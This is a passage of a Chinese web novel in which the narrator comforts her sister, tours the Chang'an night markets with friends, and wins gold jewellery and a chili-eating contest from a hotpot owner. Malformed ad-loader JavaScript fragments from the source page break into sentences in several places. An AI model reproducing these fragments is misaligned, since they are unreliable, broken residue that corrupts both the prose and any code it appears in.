我看着平安伤心落泪,不禁严肃起来,扶住她。平安不等我开口,只埋头我的颈窝哭道:“长安我感到好抱歉,好愧疚,现在回想起来,我的那番话……长安,我好冷血,好残忍是不是?我好狠的心……” “哪有这么严重?好了好了,不要哭嘛,你一哭我心都要碎了。你不要自责你没有冷血没有残忍,是我们对陛下崇拜敬若神明,所以眼里就容不得沙子,对任何不符合心意的行为和感情都视若亵渎,哪怕对方是公主,也会本能的捍卫,那不是你的错,怎么会是你的错呢?” 我红着眼圈,将抱在怀里的平安紧了紧,低头在她耳边道歉:“对不起,是我不好,我早该料到的,你的敏感异于常人,你那么喜欢追求完美,会本能放大瑕疵,会承受不住,可是平安,你真的已经很好啦,真的真的已经很完美了,不要对自己太过苛刻了好吗,人非圣贤孰能无过,人家鸡蛋里挑骨头,都是挑别人,你呀,挑自己,不要过分自责嘛,公主是直爽没有心计的人,如果有感觉到被冒犯,早就和你生气了,可事实并没有啊。不是每个人都能写出如你一般的文字,唱出那样的歌儿,如你这般敏感多思。别想太多嘛,说不定公主正是因为你的一番话对陛下有了新的了解,你给她种下崇拜和热爱的种子,我们一起想办法让它慢慢发芽——他们父女之间的事,陛下太忙了,我们不要打扰他,可以通过和公主日常交往,慢慢引导,让公主慢慢驱散对陛下的恐惧,父女之间血浓于水,很容易缓和的。好啦,公主都没责备你,我也没有,任何人都没有,你反倒在这里怪罪自己,伤心很伤身体的,快别哭了,不然我也要哭了。” “好,我不哭,可是公主为什么会惧怕陛下呢?”平安在我肩头哽咽。 我不禁笑了,傻姑娘还在想任务的事儿。我一边思考一边道:“嗯,得从十年前说起,当年陛下登基十来年,可谓潮气蓬勃,政绩卓然,荣玥公主尚在孩提,荣珺出生未久,朝野内外一片祥和,蒸蒸日上。岂料气候突变,中原连年旱灾,瘟疫四起,国力一下子倒退十多年,陛下多年心血几乎白费,偏偏七皇子那个时候突发疾病,北方鞑奴各部侵扰边境,代郡太守苍都战死,太后趁机插手北方军权,为解燃眉之急,齐王不足八岁就自请封王远赴代国,主持政务,坐镇边境。 那会儿,那会儿……南唐又发生政变……摄政王上台后,肃清‘叛逆’,南唐先……先帝与大汉缔结的边境友好条约,通商互惠政策等一应利好事务全部作废,还封锁长江,屯兵江南沿岸,虎视眈眈,甚至鬼鬼祟祟扮作流寇到江北作案,巨商善贾桑怀民被灭族,平昭县烧了半座城,等等案件,有证据证实都和南唐脱不了干系……大汉一时间内忧外患,说是风雨飘摇也不为过,陛下的身子就是那个时候拖累坏的。” 我接着道:“人啊,身子不爽快,脾气就大了些,也许陛下原本只是因为病痛,政务,日理万机,操劳过度,因而脸上几乎没有笑容,天子本就不怒自威,少了微笑看起来就更加慑人。身体跟不上心力,就会很容易烦躁,在自己女人面前是会毫无克制的展现出来的,去后宫的次数本来就是少。难得去淑妃娘娘宫里,淑妃娘娘定是更加诚惶诚恐的小心伺候,你想,那时候荣玥荣珺还小,正是爱哭爱闹爱说爱笑的年纪,可能声音也不大,礼数也周全,但是瑞瑞不安的淑妃娘娘定是忐忑惊觉,总是慌慌张张的黑着脸,打发她们下去,禁止她们在陛下眼前出现,怕是连寝宫也不让她们靠近,说不定还要言语吓唬她们,想必打两位公主记事起听到最多的就是,就是淑妃娘娘的警告,让她们不要淘气,不要说话,不要发出任何声响,不要惹父皇不开心,父皇会生气动怒。说不定私下还有过惩罚。 那么在孩子心里,老早就种下一颗畏惧的种子,天然就会畏惧父亲。冰冻三尺非一日之寒,公主从小养成惧怕陛下和躲避陛下不愿亲近的习惯。陛下身子不舒爽,也没精力和心思亲近公主,时间久了,就生了隔阂,彻底冷淡下来了。陛下身子这才好些,这次她们来汤泉宫,陛下是欢喜的,要不然也不会特意嘱托把好吃的好喝给公主享用,还把寝宫让出来,自己跑到偏殿去,对吧。” “原是这样……”平安默默眼泪,看着远方,满心心事。我明白她在想什么,把她抱得更紧了,她也紧紧抱着我。仿佛这世间,只剩下我们两个,谁也不能再弄丢谁,谁也不能再 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 离开谁。 柳花郎和堂邑夫一起回来的,堂邑夫将他的换洗衣服包了一个大包,用佩刀挑着担在肩头,另一只手拿着荣玥公主用精美礼盒打包好的口脂。柳花郎背着一个外形奇特的大箱子,说是乐器,另只手提着平安的大包包,两个英俊的小伙子,有说有笑朝我们过来。 我爬在平安耳边安慰道:“哎呦,别哭了,他们回来了,你眼睛都该哭肿了,别让他们看笑话。公主的事儿你放心吧,别自责了,咱们回去等着就行,若是成了,正好说明陛下很爱很爱公主,公主不会因为你没能体谅她心中的恐惧而责怪你,还会感谢你的。” 平安摸了摸眼泪,不等堂邑夫和柳花郎上前关心,快步走在前面出了宫门。他俩问我干什么又把平安惹哭了,我让他们滚。他们相视一眼,跟在我身后不再说话。堂邑夫说脸上的伤没好,说要不就不去逛夜市了,搁家里练功。 我仰头看了一眼,叫他弯下腰来。他听话照做,我抬手蓄力,在他脸上轻轻拂过。柳花郎看着堂邑夫恢复如初的脸,眼睛大亮惊道:“我去,这是什么神仙法术,我能不能学?” 我不理他,让他们走快些,跟上平安,堂邑夫却停下脚步将口脂礼盒递给我,从怀里掏出一个小铜镜,左照照右照照,感觉自己比之前更英俊了,欢喜跟上,还故作不好意思地跟我道:“这,这多不合规矩。”可嘴巴都裂到耳根子了。 “功夫我创的,规矩我定的。”我喜欢他高兴的样子,道:“逛街,怎么能少了你呢?你不去有什么乐趣?” 堂邑夫得意的满脸堆笑,柳花郎简直要羡慕死他的重要性了,想着什么时候自己也是这么个不可或缺的地位就好了,忍不住跟我说:“长安,今晚都是惊喜……” 我赶紧道:“打住,别说,说了就没意思了。” 回到平安的小院儿,郑清已经沐浴更衣好了,正在给平安准备洗澡水。小院儿不大,却满满家的味道。我在这里是完全自由的,都是可以放心信任的人,我很放松,很舒心,我和平安一起沐浴,平安把我洗的白白的香香的,特许我穿上漂亮的肚兜,还拿出这两天给我做的一身特别好看的夏装。隔壁柳花郎也收治妥当。我们四个坐在外头廊下的茶案边喝茶,等平安和翡翠梳妆,平安点了新做的口脂,戴了顶极其好看的牡丹发冠,翡翠也打扮的脱俗…… 暮色中的长安城华灯初上,惠王和齐王的马车等在城门口,见我们来了,就欢欢喜喜下车迎过来。 东市胜在灯花,店铺规整,街道宽敞,我们坐着马车,走马观灯,烟花美丽极了,我们也买了一些,在河边燃放,平安牵着郑清去买了两盏河灯许愿。她认真许愿的样子真美……不知哪家豪门贵邸燃放烟花,场面恢宏盛大,引得众人惊呼……平安开心地跳着指着让大家快看,郑清听话地抬头专心看着烟花,平安仰着头看着他…… 59. 夜游 看见这幅场面,我是一点也不想欣赏烟花了——郑清,大傻子,我妹妹比烟花好看多了好吧,在忽明忽暗的烟火下,她眸子一闪一闪的,星辰大海一般美丽极了,你倒是看她一眼啊,你能不能看看她,就像……她看你那样…… 身边的堂邑夫不悦地啧了一声,柳花郎也叹了口气,摇着头厌恶地白了一眼不开窍的郑清,惠王和齐王看看我们,又顺着我们的视线看看平安和郑清……站在平安身边的翡翠脸在烟火的映射下红透了。 东市繁华,将大汉的富强体现的淋漓尽致,我们乘坐马车逛了很久,总算把东市逛完了。驱车西市,老唐时期便是各国贸易集散之地,老唐末年萧条,大乱战时期凋零损毁,这些年日渐兴盛,较之东市这里烟火气重,最近新入京的各地商贾,纷纷在这里云集或租赁店面,或购置宅铺,开店营业,宵禁一开,西市比往日更加热闹向荣。 西市街道窄,说是前一阵子,刚开放宵禁之初,车水马龙的,拥堵的不能同行,于是就下了政令,进入西市一律步行,马车要停靠在特定位置,有城防营卫士看管。 惠王和齐王的手下都散到暗处,连旦公公也远远跟着,不叫近前。我们戴上面罩遮住上脸,面罩是平安早前就做好的,细铁丝做骨,薄丝纱做罩,透气得很,还有羽毛和珠宝装饰,又实用又美观。本来是想低调的,因这个面罩反而引得路人频频侧目。有人打听,我们就说在前头一个担货郎那里买的,找去吧。担货郎是走摊,找不到也怨不到我们。 刚一进西市,就有一群十来岁大小的孩子围上来,说要给我们导游,十铜钱。十铜钱不少,领着人逛街能赚这么多,真是个好买卖。我们小时候要是有这种好营生就好了。我和堂邑夫对视一眼…… 导游这个词新鲜,我赞了一声,柳花郎得意的挑挑眉。平安惊喜万分,欣喜地拉着柳花郎说没想到历史上这么早就有导游了,听到这个词有一种回家的感觉,感觉像是跟团逛古城。 平安说想和郑清一起单独逛,柳花郎挑了一个叫薛环的机灵孩子,给他俩做导游。 被妹妹撇下,我肯定是不好受的,但也不能扫妹妹兴致,便嘟着嘴巴,让郑清保护好我妹妹,岂料嘱托的话还没说完,兴奋激动按捺不住开心的平安就催促着薛环,拉着郑清消失在人潮涌动的街头。 我惊道:“还没说最后在哪里汇聚,吃饭呢!”很是失落。 柳花郎说:“薛环那孩子知道。” 我个子太小,堂邑夫便把我背起来,沿街的新商铺多了好多,老商铺对比之前我们刚来长安城的时候也改观不少,各家店铺都十分热情,有些小二跑趟,看见我们,还特地高喊贵客临门,掌柜的便欢欢喜喜地跑出来迎接,再后来,店家的掌柜就站在门口迎接我们,再再后来的店家,掌柜们仿佛老早就得到消息,老早等在门口翘首以待…… 我们进店以后,店家不仅热情,还虚心请教我们有什么不满意的地方。我有些不悦,只道我们是来逛街的,是来消遣的,不是来花心思挑骨头的。 柳花郎蹙眉,掌柜的就慌张退下了。 我看了看柳花郎,柳花郎两手一摊,在我和堂邑夫耳边,掩嘴低声道:“这可不是我哈,许是李大娘子特意嘱托这些店家,说我们是贵客,要好生招待,他们怕招待不周,便问问有什么欠缺。” 嗯,想来是这个缘故了,看来是我多虑了,李大娘子为人谨慎,不会暴露我的身份,触犯大忌。这些日子柳花郎时常和她接触,为商铺的经营出点子,这些店家都是认识柳花郎的,应该是看在李大娘子的面子上,特殊照顾。 柳花郎在后面跟店家交谈什么,我们不等他继续往前走,过了一座小桥,逛西市另一条街。柳花郎好一会儿才小跑跑着跟上来,对我点点头。之后便再也不没有看似“特别照顾”,其实特别打扰的事儿了。我们轻松洒脱的逛着夜市,该吃吃该喝喝该买买……对嘛,这才是痛痛快快地玩耍嘛……看到喜欢的就夸赞,看到不合适的,就大声说出来,并大大方方地说要是如何如何就更好了,一点不矫情,就像逛自己刚装修好的园子一样…… 西市最出名最热闹的是万园街,和寻常街铺不一样,新奇的很,一进万园街大门,便是各种庭院式店家,茶楼,戏阁,乐坊,酒庄……都是一座一座园子,园子和园子之间也可互相同行,故曰万园。 还有泛舟游船,利用原来的水系,稍加改造,便能畅游半条街…… 这条街有限流,街口设置了卡防,究其缘故,也是因为刚开市的时候,人太多太挤,大多消费不起,还差点走水,弄出事故,影响真正客人的体验感受不说,万一烧起来,损失钱财,伤了人命,那是大罪。宵禁开放,第一要务就是防火,城防营一刻也不敢懈怠。 于是李大娘子提意限流,长安尉欣然用了这个法子,调配人手在万园街各街口执勤。柳花郎拿出特定的预约函,城防营的卫士才放我们入街。 我们各种园子都细细逛着,齐王身子太虚有些累了,便租了一个轿椅让人抬着。远远看见一群美人,在当街搭的台子上歌舞,穿着清凉,歌声曼妙,舞姿妖娆……引得众人驻足痴看。 我们也凑过去看,爱美之心人皆有之,漂亮姑娘谁不爱看,偏有人斥责有伤风化。我觉得扫兴,便斜眼瞪着那个男子,道:“不想看可以不看,人家姑娘又没求着你看。心里有什么就想什么,便见不得什么,怎么我看着就只觉得赏心悦目,没看出来伤了什么风化!?” 有人应和,说为人坦荡,便无腌臜。这些人都是马后屁,我自不放在眼里,也不因为他们帮腔而欣喜,只厌烦的蹙眉。 那人是个二十六七岁的翩翩公子,被我气得语塞,却不好和我一个孩子计较,涨红着脸拂袖便走。 我蹙着眉头高声对着台上道:“这怎么回事儿,台子搭在路中间,这么窄的道儿,还让不让人过?招徕生意也不是这样招徕的, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 屋里不够跳吗,还非得在大街上招摇,想看的自然进去看,不想看的,你这不是强行打扰吗?” 那公子停住脚步,回头深深看了我一眼,思量一番,转身走了。 台上的歌舞停了,掌柜的愣在那里不知作何是好,堂邑夫道:“还愣着干什么,收了吧收了吧。” 看着手忙脚乱的一众,我心情不悦,不由的加紧双腿一蹬,随口一声“驾”。然后我就愣了:“嗯?……” 堂邑夫也一愣,惠王轻笑一声。 一边看着很忙碌,其实只是看着很忙碌,手上一百个动作,差点就帮上忙的掌柜,看了看堂邑夫背上的我,又看了看堂邑夫。憋笑憋的很辛苦,捂着脸叫壮丁们赶紧收台子,却还是忍不住看堂邑夫。 堂邑夫抽了抽嘴角,冷声斥道:“看什么看!”然后背着我,像一只骄傲的孔雀一样,仰首阔步地走了。 我爬在堂邑夫肩头,笑道:“我不是故意的,不知道怎么回事儿,就把你当马骑了,要不你放下来吧。” 堂邑夫道:“我知道,不过……我还挺喜欢给你当马的,哈哈……”说完把我往上颠了颠。 我们来到一处新开的火锅店,仰头看着装饰别具特色的门脸,匾上写着朝天阙三个大字,赞叹真是场面又豪气十足的店名。 开店的是个女掌柜,从巴蜀来的,店里客人不多,毕竟这条街是限流的,且天已经热了,并不是吃锅子的时节,所以不像其他店那样爆满,而且长安人并不像巴蜀人那样喜食重辣,说是刚开张的时候,人挺多的,挤得排不上号,有不少吃辣辣坏了,吃到一半就慌不择路跑了,有坚持下去的,但也涕泪横流,有伤风雅,掌柜的便改了口味,把辣度降低了,还新创了养生汤,药膳汤底的锅子。 辣,这种东西是会吃上瘾了,客人虽然不像之前那么多,但也细水长流,于是为了感谢食客的喜爱和支持,店里不限量提供冰水,眼下这可是稀罕物,能弄来这么多冰,女掌柜有两把刷子,能不限量供应,这掌柜胸襟可以啊! 我喜欢巴蜀的锅子,门里有几个巴蜀籍的同门哥哥姐姐,以前常做锅子给大家吃。站在门口闻见汤锅的香气,我肚子里馋虫叫嚣,便叫柳花郎去订了两桌送到花满楼的贵宾包间去,特地嘱托其中一桌一定要原汁原味儿的,另一桌是养生汤底的。 小二说没这么买过,都是在本店堂食。堂邑夫在门外高声道今儿个起就有这么买了。说完背着我就走了。后来朝天阙就开始外送,店里人不多,但生意好的不得了,想来是大家都爱吃,又怕辣得出丑,更喜欢在家吃。 柳花郎点完餐跟上来,说那女掌柜人长得不错,就是神经兮兮的。柳花郎夸赞我说居然给人家开启了外卖业务,他都没想到……我很不屑,他怎么老是一种比我们见多识广,比我们聪明的样子,好像我们没做过他和平安那种梦,智慧就上不得台面似得,好主意好点子就该都是他们想出来的,才天经地义似得。 60. 娘亲 花满楼是西市最高最大最豪华的酒楼,哪怕是开在东市也是翘楚,一座主楼光彩夺目,与其他楼阁用飞桥连接串通,庭院一步一景,移步异景,花满楼的后面是一片湖泊,是西市水系的集中点,莲叶何田田,码头上舟船鳞次栉比,湖中画舫星罗棋布。 酒楼经营理念装潢方式都极其独特,别具一格。一进大厅,挑高就是三层,却是小桥流水人家,犹如世外桃源,有阵阵微风拂面,吹动四角风铃,通草花做的樱花树下,有佳人抚琴,轻舞……包间客满,整个花满楼却静谧,舒缓…… 李大娘子迎上来,行了一礼,对柳花郎道:“都备好酒菜了,偏你又叫了锅子。他们正在撤席,贵人们要等一会儿了。” “正好我们四处逛逛。”柳花郎回礼,说完就带着我们步入大厅。 逛了一圈,我坐上秋千,立即有仙子般的小姐姐,端上果品,李大娘子亲自到我身边来,于我寒暄,一边夸我可爱,一边喂我吃果子。柳花郎被小姐姐团团围住……齐王和惠王见一边亭子里有棋盘便过去手谈一局。堂邑夫老老实实在我身边推秋千,有小姐姐上前搭讪,他只敬而远之,再不似从前般油腔滑调,拈花惹草,招蜂引蝶。 李大娘子看他的眼神变了变,竟多了几分赞赏。给了我一个士别三日当刮目相待的对视。我勾唇一笑,堂邑夫也扬了扬下巴。 花满楼主楼后面是一个戏台子,戏台子很高,和二楼平齐,与二楼和周围楼阁的包间对望,但拥有最佳观看视角的是花满楼三楼的贵宾包间。 其他包间打开后窗便可以平时观看,台上细节总不如三楼看的真切。三楼接待的都是高级贵宾,更注重隐私,格外做了遮台,不耽误看戏,只从下面的其他包间往上看,什么也看不到,走上遮台,三楼的贵宾可纵观花满楼园中所有景色。价格十分昂贵,却因只有一间,也很难订到。 再往上是四楼包间,听说包间自带戏台,只是眼下还没装修好,暂时不往外订。 戏台子有个好听的名字叫畅音,采用老唐宫廷工艺,一层加了扩音回音装置,所以音效特别好。 戏台子下是露天的散席,只能仰头观看。稍好一点的是周围一圈连廊下的,半开放式包间坐席,这里高一些,一间一间的小包房,有茶水点心供应……这会儿台子上,说书先生正弹着弦子,操着极具特色的陕北口音,唱着新书《西游记》。唱到精彩处,台下连连叫好。 我在廊下的小包间里听了一会儿,觉得这个故事不错又挺好玩的,给了柳花郎一个赞赏的眼神,这厮确实有点本事,便也更加向往他们梦中的世界。忽看见散席里平安和郑清,未及招呼他们过来,就气不打一处来黑了脸色——我那傻妹妹想贴着郑清坐,岂料,她向郑清靠一靠,郑清就躲一躲,反复几次,直到躲得无处可躲,才老实…… 那就不能好好坐在凳子正中间吗?大庭广众之下,这个样子任谁都觉我妹妹下贱,倒是显得郑清你清高,你勉强,你君子……可到底还不是贴贴着坐吗?!那就好好坐在凳子中间怎么了!?会死吗?! 偏偏平安还满脸幸福的样子,我心中烦闷,台上的戏便听不进去了,只觉得聒噪,回去前厅荡我的秋千。柳花郎对着薛环指了指三楼包间,示意他一会儿带着平安郑清直接去三楼吃饭,便跟我着去了前厅,给姑娘们继续看手相。 齐王的棋艺那可不是一般人能比的,惠王一连输了几局,堂邑夫便向齐王讨教。 一个贵气的老伯伯两手牵着一双女儿,被一众人簇拥着进了花满楼,手下询问有没有包间。接待说散席包间都订满了,没有预定实在抱歉。老伯伯有些失落,我坐在秋千上遥遥招手:“三楼的包间是套间,伯伯如果不介意,可以和我们拼席。” 花满楼的管事说他们从没有这样经营过。我说打今起就有了。 柳花郎听到“拼桌”二字,眼神又是一亮,仿佛我提出拼桌又是人类智慧的一次进步。 即便我带着面具,荣玥荣珺一进门老早就认出了我,按捺不住欢喜,跑过来和我一起荡秋千。我假意初次见面,自道家门,她们也心有灵犀,说是雍县凤翔人氏,随父亲一起来长安城夜游的。 李大娘子叫人不用撤席了,把撤了的菜再摆回包间去,叫后厨加菜,又叫人去催朝天阙的锅子。 堂邑夫到底还是输给了齐王,一旁观战的刘景对齐王的技艺很是赞赏,一时手痒要下一盘,这是对齐王亲近和喜爱,齐王受宠若惊。父子两人装作初次相识,惺惺相惜的样子。 两位公主去后面看戏,其实是“初遇”平安去了,自然少不得韩燕熙。刘景这边有李远李大公子等人护着,公主那边就由韩燕熙负责。想必是因为之前,我从一个太监身上把他身份识破,这次便一个内侍也没带。 堂邑夫背着我要上三楼,朝天阙的女掌柜亲自带人送锅子上门,正好迎上我们,女掌柜看着堂邑夫,一脸妩媚笑意,上前一把掀开堂邑夫的面具,堂邑夫躲避她的眼神,丝毫不敢有动作。 我趴在他背上伸长脖子想看他脸上的神色,他却别过去,我趴到另一边去看,他又转到另一边,有意思,这小子躲我。 我也揭下面具,笑嘻嘻的看着女掌柜,她吩咐手下将锅子送上三楼,转过头来看着我,眼睛一亮,又一暗,一手搭在堂邑夫肩上,一手托着我的下巴上下打量,用带着巴蜀口音的官话玩味道:“堂邑夫方才你在我门口喊那一嗓子,我就晓得是你个死鬼,几年不见,你娃子都这么大了撒?!” 堂邑夫虎躯一震,侧头看看我,又看看女掌柜,刚要说话,就被我暗中一掐,立时闭了嘴巴,我甜甜的笑着,看着女掌柜,软软糯糯道:“爹爹,这个仙女姐姐好美啊,我没有娘亲,你娶她回来给我做娘亲,我要娘亲,我要仙女姐姐做 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 娘亲……”我在堂邑夫背上,边说边扭,真的像是在跟爹爹撒娇讹东西的孩子。 女掌柜愣住了,她怎会不知道我一个十来岁的孩子怎么可能是堂邑夫的娃子,不过是和堂邑夫有些说不明道不清的感情纠葛,故意找堂邑夫不痛快,便大庭广众下戏谑他。 她忽的哈哈大笑,觉得我说的甚得她心,畅快极了,道:“好说好说,那我就给你做娘亲。” “既如此,娘亲给我见面礼吧,这金锁子好好看,送给我吧。” 女掌柜没想到我这么直接,当着这么多人的面,她都答应做我娘亲了,自然不能舍不得,“只是这个金锁子是实心滴,你娃娃太小,戴着压滴慌撒。” 实心的?那太好了。“不压,我脖颈子硬滴很撒。”说着我很自然的将她脖子上的金锁子连同筷子粗的金项圈一起摘下来戴在自己脖子上,顺道又看见她手上的六个大金镯子,便也要了来,又看见她腰上一串金铃铛,又看见…… 不一会儿,女掌柜身上的金饰就都转移到了我身上,要不是我头上只有小小的两个总角,插不下那么多首饰,说什么也得让她担得起我那几声娘亲。女掌柜倒也舍得,说不心疼是假的,但也豪放大气。见我机灵调皮,却很是喜欢,捏着我的小脸,说我这几声娘亲真是金贵,让我以后别叫了,她担不起。 我向来贪得无厌,便道:我还最后想要一个见面礼,就是她店里的锅子我免费吃一年。 她道,免费吃一年倒也不是不行,她在川蜀郡开店的时候便立有规矩,不能因为我一声娘亲破了,就是亲儿子到店里要免费吃一年,也必须和她比赛吃辣,赢了才可以,但是我们不是巴蜀人,她跟我们比,胜之不武。所以来了长安城就没有把规矩明出来。可现在我既然提了,就得按规矩来。 堂邑夫立马应战。 看在我满身金饰的份儿上,怎么也得给女掌柜造势扬名,这场比赛得风风光光的才可,便托柳花郎在后面戏台子上主持一场别开生面的吃辣比赛…… 柳花郎先是让他组建的新式歌舞团上台歌舞助兴,我建议李大娘子派人端着筹码到各包间邀请客人自愿参加比赛押宝,她抽两分水。这样不仅提高了比赛的关注度,让包间里的客人们关注到朝天阙,李大娘子还能额外赚一分钱,她自然欢喜不已,自然顺水推舟乐享其成。到底不能白借人家戏台,欠下人情。 我们坐在三楼,一边饮宴,一边欣赏歌舞。三楼贵宾包间极其注重客人的私密性,上好菜,备好酒水,客人不叫,店家是一步都不踏上来的。楼梯是有门的,包间隔音特别好,小二们站在楼梯口等着,客人叫他们,只需要摇铃,他们开门上来,也事先摇铃。 进了包间我们含蓄一阵,就相见恨晚,一见如故,到最后确定十分安全隐蔽,便只默契的守着虚假的身份,其他的就不装了,毕竟熟人装不熟,其实挺辛苦的。 61. 比赛 我正在伺候刘景餐食,讲些趣事逗这位“老伯伯”欢心,门口铃铛就响了,是平安哭哭啼啼地迈着沉重的步子来包间,听上楼的脚步声,就能感觉得到她此时此刻又多气愤。她应该是气头上忘了包间里有刘景一众贵人,推门的时候用了很大力气,引得众人都看向她,虽然带着面罩,还是能看出她此时梨花带雨的。平安站在门口愣了一下,瞬间脸红到脖子,跟我告状的话也说不出了,刷的一下又把门关上,“砰砰砰”地下楼跑开了。 包间里的人被她逗乐了,一时间哈哈大笑起来,惠王问我怎么不去哄心尖尖儿的宝贝妹妹,我道左不过是和你家那马奴闹的不开心,只要是和那小子闹的就不用哄,她自己会把自己哄好的。 养生汤锅子味道不错,但不合我口味,我起身晃着浑身上下叮铃咣当的金饰,到长席另一头,吃口味霸道十足的正宗川蜀锅子。这爆辣锅子刘景他们都尝了一下,一入口就呛得咳嗽辣得眼里情满泪水,很“感动”的样子,脸红到脖子,和平安一样,看起来有些“娇羞”。 只有我一个人在吃,实在浪费,我就不经意说了几句激将的话,引韩燕熙,李椒,豆如意等太子伴读过来与我一同吃,这几个男儿瞬间就辣红了眼,不一会儿嘴巴就红肿透亮起来,像红红的樱桃,我看着光想咬一口,解辣…… 等到戏台上,堂邑夫的压轴好戏上演时,三楼的这几个汉子已经辣得不行了,要死了。他们满头大汗,汗流浃背,若非公主在,他们肯定光膀子了,见我没事儿人一样,便嘴硬说味道不错,硬着头皮舍命陪我,还互相给对方添菜。我决定中场休息,看堂邑夫和女掌柜的吃辣大赛,正好让他们缓和一下,然后再接着吃…… 几个人红肿着嘴巴,喝着我给他们冰镇的果子饮,和我一起趴在遮台上,看好戏。我是不怕堂邑夫输的,只是有些担心堂邑夫的肠胃,而他们是期待看堂邑夫如何过这一关,或者应该说看堂邑夫如何狼狈的过这一关,而堂邑夫这一关能不能赢,他们并不坚定,或者说就没想能赢,只是一脸的看好戏而已。 李椒的杯子里多了别人都没有的冰块,他小心地含在嘴里,坐在我身边,眼睛专注的盯着台上,我却能感觉到他心思不在台上,不知道在想什么。 台上二人正在激战,平安这会儿已经好了,羞答答的来到包间,悄悄地“溜”进来,坐在我身后抱着我,见堂邑夫一把辣子一把辣子的生嚼狂吞,越看越揪心,紧紧地抱着我,带着哭腔,担心的道:“实在不行就别吃了呗,长安你要不劝劝堂邑夫算了吧。” 实在不行?男人怎么能说不行呢?私底下都不能说,眼下又是在台上,对手又是个女的,虽然是关心,是心疼,可堂邑夫要是听了这话,能当场死台上。你还让我劝,那跟去捅他两刀子直接要了他命有啥区别,平安还是太不了解男人。 我也不好解释太多,“男人,在台上,怎么能算了呢?”我道:“我只会给他庆功,才不会劝他放弃,他要是辣死了,我再把他救活,救不活,风光大葬,立碑的时候写墓志铭也是豪气万丈的,可要是输了,还输给一个女人,这辈子怎么做人,吃,还能输,还不如死了。” 几个伴读闻言,脸色变了变…… “哪有那么严重?”平安哭笑不得,摇摇头老老实实地趴在我身上继续看台上已经辣得大汗淋漓,脱了上衣,浑身发红的堂邑夫比赛。平安又问我押宝押了多少?我说我不喜欢赌博,没参与。平安愣了一下懊恼内疚起来,道:“刚才哭,就因为叫郑清给堂邑夫押宝助力他非是不听,犟了两句……女子不能立名头押宝,我只好用了薛环的名号,好一番折腾,我还气得不行……这会儿觉得好像是我不对。” 我道:“你也是好心,不过上台比赛这种事台下的做什么都帮不上忙,我们这些年刀尖上过来的,一个人的时候,是兵也是将,无依无靠的时候,一个人就是千军万马,堂邑夫自己都没押自己的宝。” “啊?那只有我和花郎押了?” “那就赚点呗,好事儿。” 平安有些疑惑:“嗯?赚?我买的堂邑夫,买堂邑夫的人实在太少了,所以我和花郎才出血本押堂邑夫赢的,不然实在太难看了。”感情也只是友情支持,并不坚定堂邑夫能赢。 我笑道:“那就大赚特赚。” “……你的意思是……”平安不怀疑我的信心,却实在怀疑堂邑夫吃辣的能力。 “我的人怎么会输呢?我还等着吃一年的免费锅子呢!”我呵呵一笑道:“押宝形势如何堂邑夫赛前肯定知道的,他最是仗义又要面子,不会输更不会让支持他的人输,他又最喜欢拼命赢的感觉,非如此不足以痛快,用他的话说那叫一个过瘾。” 论骨头硬,除了我还没有能硬过堂邑夫的。再有,那女掌柜再狠心,也舍不得让他输,就看她心底的气啥时候消……不过她应该不会轻易放过堂邑夫,在“故人”重逢的兴头上,想着过去的恩恩怨怨,吃着辣子,较着劲儿,多爽啊,要我我也上头。 堂邑夫还真是,你说你惹上谁不好,非招惹这泼辣货,这吃辣子比赛,她不要你半条命,都对不住她对你的深情。哼哼,不是喜欢过瘾吗?正合你胃口。别人这个时候也就差不多了,我看啊,堂邑夫起码还得再吃一盆不可,她舍不得你咽气,也绝不多留你一口气,知道你喜欢硬刚,怕是也舍命陪君子呢。 啧啧,谁能想到,咱都是真刀真枪舔血过惯的人,有一天吃个辣子还得置之死地而后生——不想输,就只能往死里吃喽。我心里已经放下最初的担心,开始安心琢磨药方子了。 平安看着我肥嘟嘟的侧脸,忍不住亲了一下,道:“哎我听说你管那女掌柜叫娘亲了。” “嗯,不白叫。”我抖着浑身的金器,和平安嘚瑟,顺手给了平安四个金镯子,分了半串金铃铛挂在她腰侧。 平安从我身后半跪着将我的小脸后仰着,托着我小脑袋,点了一下我的小鼻子,道:“那你也……叫我两声娘亲听听……”我们两个倒视着,她顺口亲了我额头一下。 “我很贵的!”我不愿意。 “我给你做个金肚兜。”平安利诱。 “……那好吧,嗯……娘,亲……”我犹豫了一下,鼓了鼓勇气,才叫出口,平安听到这声娘亲,似乎受到震动,眼泪一下就流出来了,大颗大颗透过面罩掉下来,掉到我脸蛋儿上,掉进我嘴巴里,咸咸的,我也红了眼睛。我们……都想娘了…… “娘亲,娘……”我转过身来,正视着平安,红着眼睛继续叫着,好像心里有个缺口彻底打开了。平安一把捂住我的嘴巴,抹了抹嘴角的眼泪,责备似得道:“讨厌死了,跟不要钱似的,就第 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一声有金肚兜,再叫多少都没有了。” “唉……知道啦!”你不提,我都忘了还有金肚兜这回事儿了。 这时包间铃声响了,是小二送来平安点的外食,平安说是万园街街尾开的那家高句丽乐坊的特色菜,又私下和我说乐坊里面的小食,都是她在梦里喜欢吃的,所以买一些尝尝看是不是那个味道,解解馋。 我吃着米肠挺好吃的,月亮糕也不错,还有凉拌蕨菜,辣白菜……之前我和堂邑夫去高句丽的时候也挺爱吃的。招呼公主也过来和我们一起品尝,公主觉得不错,端了一些给刘景。平安喜欢喝高句丽的烧酒,韩燕熙尝了一口说没啥酒味儿,平安让他滚,他说他就喜欢看平安生气的样子,我说这不是有病吗? 众人忍俊不禁,哈哈大笑。 韩燕熙在我们身后,用只有我们三人可以听得见的声音,暧昧地说他病入膏肓,除了平安,无药可医。平安恼羞不已,起身躲他。韩燕熙的眼睛简直离不开我妹妹,笑嘻嘻的看着,我侧头低声对他说我不忍他药石无医,受人间疾苦,可以积德行善,开一服“良”药让他去得舒服些,还提醒他奈何桥头多喝两碗孟婆汤,让他把我妹妹忘了,也好解了这入骨相思的毒。说完从锅子里捞了两个热辣子,连汤带水塞他嘴里。平安看着他说吐就不是男人。所以他只能含泪“往生”,嘶哈嘶哈的,不知是烫的还是辣的。 